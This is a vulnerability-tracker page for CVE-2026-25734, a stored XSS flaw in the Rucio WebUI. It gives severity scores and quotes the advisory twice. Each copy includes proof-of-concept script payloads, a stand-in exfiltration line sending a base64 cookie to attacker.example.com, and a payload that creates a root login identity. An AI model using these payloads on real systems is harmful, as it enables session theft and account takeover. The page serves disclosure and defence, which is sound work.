CVE-2026-25734

mediumpriority · track · 19EPSS 0.003 · 27 %ileEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.34% (27th) EPSS
CVSS 4.8 · medium
Is it mine?
9 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

Rucio is a software framework that provides functionality to organize, manage, and access large volumes of scientific data using customizable policies. Versions prior to 35.8.3, 38.5.4, and 39.3.1 have a stored Cross-Site Scripting (XSS) vulnerability in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. Versions 35.8.3, 38.5.4, and 39.3.1 fix the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

6.1
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.14.8mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:Nprimary · NVD / NIST USexploitability 1.7 · impact 2.7
v3.16.1mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:Nsecondary · ENISA EU
v3.16.1mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:Nsecondary · security-advisories@github.comexploitability 0.9 · impact 5.2
v3.16.1mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:Nsecondary · OSV
v3.14.4mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (9)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-h9fp-p2p9-873q Rucio WebUI has Stored Cross-site Scripting (XSS) in RSE Metadata2026-02-25ghsa · osvUS

    ### Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. --- ### Details Several metadata fields accept arbitrary input which is stored and later rendered unsafely in the WebUI when the RSEs are listed in the RSE Management dashboard. **Create Path**: Admin > RSE Management **Trigger Paths**: Admin > RSE Management Admin > RSE Management > _RSE NAME_ **Vulnerable Attributes**: City, Country_Name, ISP **Request** ```http POST /proxy/rses/XSSTEST HTTP/1.1 ... {"city":"<script>alert('CITY XSS')</script>","country_name":"<script>alert('COUNTRY XSS')</script>","ISP":"<script>alert('ISP XSS')</script>","deterministic":false,"volatile":false,"staging_area":false} ``` **Response** ```http HTTP/1.1 201 CREATED ... Created ``` **Stored XSS payload triggering in RSE listing after adding XSS payload in metadata** <img width="1252" height="624" alt="Stored XSS payload triggering in RSE listing after adding XSS payload in metadata" src="https://github.com/user-attachments/assets/6546fc95-0c81-4db7-9271-37b5d4bc8f47" /> --- ### Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only. The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables. An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`). Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data. **XSS Payload to Create Root UserPass** ```html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()> ``` --- ### Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as `.html()` should be avoided unless the content is explicitly sanitized. Safer alternatives include `.text()`, creating text nodes, or using a templating system that enforces automatic escaping. Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables. > Note that many pages were found setting the API token as `token` in an authenticated response like `var token = "root-root-webui-...:"` (See `/ui/list_accounts` for example) --- ### Resources - OWASP XSS Prevention Cheat Sheet: [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)

  • PYSEC-2026-3057 Rucio WebUI has Stored Cross-site Scripting (XSS) in RSE Metadata2026-07-13vendor · osvUS

    ### Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. --- ### Details Several metadata fields accept arbitrary input which is stored and later rendered unsafely in the WebUI when the RSEs are listed in the RSE Management dashboard. **Create Path**: Admin > RSE Management **Trigger Paths**: Admin > RSE Management Admin > RSE Management > _RSE NAME_ **Vulnerable Attributes**: City, Country_Name, ISP **Request** ```http POST /proxy/rses/XSSTEST HTTP/1.1 ... {"city":"<script>alert('CITY XSS')</script>","country_name":"<script>alert('COUNTRY XSS')</script>","ISP":"<script>alert('ISP XSS')</script>","deterministic":false,"volatile":false,"staging_area":false} ``` **Response** ```http HTTP/1.1 201 CREATED ... Created ``` **Stored XSS payload triggering in RSE listing after adding XSS payload in metadata** <img width="1252" height="624" alt="Stored XSS payload triggering in RSE listing after adding XSS payload in metadata" src="https://github.com/user-attachments/assets/6546fc95-0c81-4db7-9271-37b5d4bc8f47" /> --- ### Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only. The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables. An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`). Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data. **XSS Payload to Create Root UserPass** ```html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()> ``` --- ### Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as `.html()` should be avoided unless the content is explicitly sanitized. Safer alternatives include `.text()`, creating text nodes, or using a templating system that enforces automatic escaping. Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables. > Note that many pages were found setting the API token as `token` in an authenticated response like `var token = "root-root-webui-...:"` (See `/ui/list_accounts` for example) --- ### Resources - OWASP XSS Prevention Cheat Sheet: [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)

06

also known as (6)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-02-25modified 2026-06-17
09

references (16)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan